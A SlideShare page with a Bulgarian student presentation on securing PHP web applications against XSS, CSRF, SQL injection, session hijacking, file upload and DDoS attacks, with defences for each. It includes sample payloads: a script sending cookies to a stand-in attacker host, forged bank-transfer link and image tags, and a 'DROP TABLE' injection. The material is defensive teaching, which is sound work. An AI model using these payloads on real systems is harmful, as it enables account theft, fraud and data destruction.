SlideShare une entreprise Scribd logo
1  sur  20
Изготвил: Енис Исмаил, ф. номер: 12109
Проверли: доц. д-р Стефан Дражев, ас. Радка Начева
Икономически университет – Варна
Център «Магистърско обучение»
Катедра «Информатика»
Защита при създаване на PHP-приложения в Интернет
Нужда от защита на уеб-
приложенията?
Семантични атаки
Любопитството увеличава мотивацията при много атаки и семантичните атаки
са един от най-добрите примери за това. Представляват модифициране на
URL с цел получаване на данни, до които потребителят не би трябвало да има
достъп.
Пример:
 www.domain.com/view_invoice.php?id=1000523
 www.domain.com/view_invoice.php?id=1000413
Защита:
 Проверяване дали потребителят има право да прочете/запише
съответната ифнормация.
 Използване на трудни за отгатване идентификационни низове.
Атаки чрез качване на файлове
Атаки чрез качване на файлове
Опасности:
 Качване на файлове, съдържащи зловреден PHP или JavaScript код и
изпълняването им в системата.
 Натоварване и блокиране на сървъра чрез качване на прекалено големи по
размер файлове.
Защита:
 Позволяване за качване само файлове с определени разширения като
jpg, jpeg, gif, png, pdf, doc, docx.
 Ограничение на размера на файловете, които могат да бъдат качени.
 Премахване на execute флага в привилегиите за папката, където се
съхраняват качените файлове.
 Промяна името на качваният файл.
XSS атаки
XSS атаки
XSS (Cross-site scripting) атаките са едни от най-познатите видове атаки. Способни
са да поразят уеб-приложения от всички платформи, и PHP уеб-приложенията със
сигурност не са изключение.
<script>
document.location = 'http://evilsite.org/steal.php?cookies=' +
document.cookie
</script>
XSS атаките могат да доведат до големи проблеми, но за щастие са лесни за
предотвратяване. Единственото, което трябва да се направи е получените данни
да се филтрират подходящо преди записването им в базата от данни.
 Използване на функции за екранизация на данните
 Задаване на session.cookie_httponly = True в php.ini
Brute-Force атаки и Dictionary атаки
Brute-Force атаки и Dictionary атаки
Brute-force е атака, при която атакуващият изпраща множество заявки към
сървъра с различни комбинации от име и парола, с цел да „налучка“ някоя
правилна комбинация. Използват за намиране на сравнително прости по
сложност пароли. За по-сложни пароли, включващи думи с определено
значение и т.н., се използват Dictionary атаките.
Защита:
Използване на по-сложни пароли
Използване на Captcha
Лимитиране на броя заявки за определен период от време
Фиксиране достъпа до акаунти по IP адрес
Отĸpaдвaнe нa cecия
(session hijacking)
Отĸpaдвaнe нa cecия
(session hijacking)
Сесията се открадва чрез получаване на идентификационният номер за
сесията, който се пази в браузъра на клиента.
Начини за открадване:
 Чрез предсказване на ID на сесията
 Чрез подслушване на комуникационния канал
 Чрез фиксиране на ID на сесията чрез URL или XSS атака
Защита:
 Използване на криптирана връзка – SSL (Secure Socket Layer)
 Често подновяване ID на сесията
 Сравняване на IP и/или User Agent информацията на клиента
Фалшификати на заявки (CSRF)
Фалшификати на заявки (CSRF)
CSRF (Cross-site request forgery) е вид атака, чрез която клиентът без да знае
изпраща заявки към друг сайт. Ако той е вписан в системата, то заявката ще бъде
изпълнена, тъй като тя би изглеждала напълно валидна.
<a href="http://bank.com/transfer.do?acct=HACKER&amount=1000">Виж
тази картинка!</a>
<img src="http://bank.com/transfer.do?acct=HACKER&amount=1000"
width="1" height="1" border="0">
Защита:
 Използване на произволен низ (token) във формата или линка
 Искане за повторно въвеждане на парола (или Captcha)
SQL инжектиране
SQL инжектиране
SQL инжектирането е техника за атакуване на приложения, използващи SQL
бази от данни, чрез вмъкване на злонамерени SQL команди в
заявките, генерирани от приложението.
Най-често SQL инжектирането се използва за постигане на следните неща:
 Прочитане на данни
 Промяна на данни (запис, модифициране, изтриване)
 Изпълняване на администраторски операции на базата от данни, например
спиране (shutdown) на цялата БД.
SQL инжектиране
Пример:
Заявка в PHP:
$query = “SELECT * FROM students WHERE fnum = '$query'”;
Изпълнена заявка в MySQL след въвеждане на стойност „086012“:
SELECT * FROM students WHERE fnum = 086012
Изпълнена заявка в MySQL след въвеждане на стойност „1; DROP TABLE
students “:
SELECT * FROM students WHERE fnum = 1; DROP TABLE students;
SQL инжектиране
Начини за защита от SQL инжектиране:
 Използване на параметрични заявки, където структурата на заявката е
отделена от подаваните параметри. За целта се използва PDO
разширението.
 Използване на процедури, като параметрите се подават отделно.
 Екранизиране на всички входни данни, използвани в заявките.
 Валидиране на данните, преди да бъдат използвани в заявките.
 Ограничаване на привилегиите за използване на БД за всеки акаунт.
Атаки за отказ на услуга
(DDoS атаки)
Атаки за отказ на услуга
(DDoS атаки)
Атака за отказ на услуга е опит даден ресурс, предоставян от компютър (наричан жертва), да
бъде направен недостъпен за целевите му потребители. Обикновено жертви на такива атаки
стават популярни уеб сървъри, като целта е те да станат недостъпни.
DDoS атаките биват два основни вида:
 Принуждаване на жертвата да се рестартира или да потреби всичките си ресурси, така
че вече да не може да предоставя целевата услуга;
 Възпрепятстване на комуникацията между жертвата и целевите потребители на услугата,
така че те вече да не могат да я достъпват адекватно.
Начини за предпазване:
 Осигуряване на достатъчно ресурси на сървъра;
 Използване на хардуерни защитни стени, филтриращи трафика преди достигне до
сървъра.
Благодаря за вниманието!

Contenu connexe

En vedette

PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024Neil Kimberley
 
Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)contently
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024Albert Qian
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsKurio // The Social Media Age(ncy)
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Search Engine Journal
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summarySpeakerHub
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next Tessa Mero
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentLily Ray
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best PracticesVit Horky
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project managementMindGenius
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...RachelPearson36
 
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...Applitools
 
12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at Work12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at WorkGetSmarter
 
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...DevGAMM Conference
 
Barbie - Brand Strategy Presentation
Barbie - Brand Strategy PresentationBarbie - Brand Strategy Presentation
Barbie - Brand Strategy PresentationErica Santiago
 

En vedette (20)

PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024
 
Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search Intent
 
How to have difficult conversations
How to have difficult conversations How to have difficult conversations
How to have difficult conversations
 
Introduction to Data Science
Introduction to Data ScienceIntroduction to Data Science
Introduction to Data Science
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best Practices
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project management
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
 
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
 
12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at Work12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at Work
 
ChatGPT webinar slides
ChatGPT webinar slidesChatGPT webinar slides
ChatGPT webinar slides
 
More than Just Lines on a Map: Best Practices for U.S Bike Routes
More than Just Lines on a Map: Best Practices for U.S Bike RoutesMore than Just Lines on a Map: Best Practices for U.S Bike Routes
More than Just Lines on a Map: Best Practices for U.S Bike Routes
 
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
 
Barbie - Brand Strategy Presentation
Barbie - Brand Strategy PresentationBarbie - Brand Strategy Presentation
Barbie - Brand Strategy Presentation
 

Защита при създаване на PHP-приложения в Интернет

  • 1. Изготвил: Енис Исмаил, ф. номер: 12109 Проверли: доц. д-р Стефан Дражев, ас. Радка Начева Икономически университет – Варна Център «Магистърско обучение» Катедра «Информатика» Защита при създаване на PHP-приложения в Интернет
  • 2. Нужда от защита на уеб- приложенията?
  • 3. Семантични атаки Любопитството увеличава мотивацията при много атаки и семантичните атаки са един от най-добрите примери за това. Представляват модифициране на URL с цел получаване на данни, до които потребителят не би трябвало да има достъп. Пример:  www.domain.com/view_invoice.php?id=1000523  www.domain.com/view_invoice.php?id=1000413 Защита:  Проверяване дали потребителят има право да прочете/запише съответната ифнормация.  Използване на трудни за отгатване идентификационни низове.
  • 5. Атаки чрез качване на файлове Опасности:  Качване на файлове, съдържащи зловреден PHP или JavaScript код и изпълняването им в системата.  Натоварване и блокиране на сървъра чрез качване на прекалено големи по размер файлове. Защита:  Позволяване за качване само файлове с определени разширения като jpg, jpeg, gif, png, pdf, doc, docx.  Ограничение на размера на файловете, които могат да бъдат качени.  Премахване на execute флага в привилегиите за папката, където се съхраняват качените файлове.  Промяна името на качваният файл.
  • 7. XSS атаки XSS (Cross-site scripting) атаките са едни от най-познатите видове атаки. Способни са да поразят уеб-приложения от всички платформи, и PHP уеб-приложенията със сигурност не са изключение. <script> document.location = 'http://evilsite.org/steal.php?cookies=' + document.cookie </script> XSS атаките могат да доведат до големи проблеми, но за щастие са лесни за предотвратяване. Единственото, което трябва да се направи е получените данни да се филтрират подходящо преди записването им в базата от данни.  Използване на функции за екранизация на данните  Задаване на session.cookie_httponly = True в php.ini
  • 8. Brute-Force атаки и Dictionary атаки
  • 9. Brute-Force атаки и Dictionary атаки Brute-force е атака, при която атакуващият изпраща множество заявки към сървъра с различни комбинации от име и парола, с цел да „налучка“ някоя правилна комбинация. Използват за намиране на сравнително прости по сложност пароли. За по-сложни пароли, включващи думи с определено значение и т.н., се използват Dictionary атаките. Защита: Използване на по-сложни пароли Използване на Captcha Лимитиране на броя заявки за определен период от време Фиксиране достъпа до акаунти по IP адрес
  • 11. Отĸpaдвaнe нa cecия (session hijacking) Сесията се открадва чрез получаване на идентификационният номер за сесията, който се пази в браузъра на клиента. Начини за открадване:  Чрез предсказване на ID на сесията  Чрез подслушване на комуникационния канал  Чрез фиксиране на ID на сесията чрез URL или XSS атака Защита:  Използване на криптирана връзка – SSL (Secure Socket Layer)  Често подновяване ID на сесията  Сравняване на IP и/или User Agent информацията на клиента
  • 13. Фалшификати на заявки (CSRF) CSRF (Cross-site request forgery) е вид атака, чрез която клиентът без да знае изпраща заявки към друг сайт. Ако той е вписан в системата, то заявката ще бъде изпълнена, тъй като тя би изглеждала напълно валидна. <a href="http://bank.com/transfer.do?acct=HACKER&amount=1000">Виж тази картинка!</a> <img src="http://bank.com/transfer.do?acct=HACKER&amount=1000" width="1" height="1" border="0"> Защита:  Използване на произволен низ (token) във формата или линка  Искане за повторно въвеждане на парола (или Captcha)
  • 15. SQL инжектиране SQL инжектирането е техника за атакуване на приложения, използващи SQL бази от данни, чрез вмъкване на злонамерени SQL команди в заявките, генерирани от приложението. Най-често SQL инжектирането се използва за постигане на следните неща:  Прочитане на данни  Промяна на данни (запис, модифициране, изтриване)  Изпълняване на администраторски операции на базата от данни, например спиране (shutdown) на цялата БД.
  • 16. SQL инжектиране Пример: Заявка в PHP: $query = “SELECT * FROM students WHERE fnum = '$query'”; Изпълнена заявка в MySQL след въвеждане на стойност „086012“: SELECT * FROM students WHERE fnum = 086012 Изпълнена заявка в MySQL след въвеждане на стойност „1; DROP TABLE students “: SELECT * FROM students WHERE fnum = 1; DROP TABLE students;
  • 17. SQL инжектиране Начини за защита от SQL инжектиране:  Използване на параметрични заявки, където структурата на заявката е отделена от подаваните параметри. За целта се използва PDO разширението.  Използване на процедури, като параметрите се подават отделно.  Екранизиране на всички входни данни, използвани в заявките.  Валидиране на данните, преди да бъдат използвани в заявките.  Ограничаване на привилегиите за използване на БД за всеки акаунт.
  • 18. Атаки за отказ на услуга (DDoS атаки)
  • 19. Атаки за отказ на услуга (DDoS атаки) Атака за отказ на услуга е опит даден ресурс, предоставян от компютър (наричан жертва), да бъде направен недостъпен за целевите му потребители. Обикновено жертви на такива атаки стават популярни уеб сървъри, като целта е те да станат недостъпни. DDoS атаките биват два основни вида:  Принуждаване на жертвата да се рестартира или да потреби всичките си ресурси, така че вече да не може да предоставя целевата услуга;  Възпрепятстване на комуникацията между жертвата и целевите потребители на услугата, така че те вече да не могат да я достъпват адекватно. Начини за предпазване:  Осигуряване на достатъчно ресурси на сървъра;  Използване на хардуерни защитни стени, филтриращи трафика преди достигне до сървъра.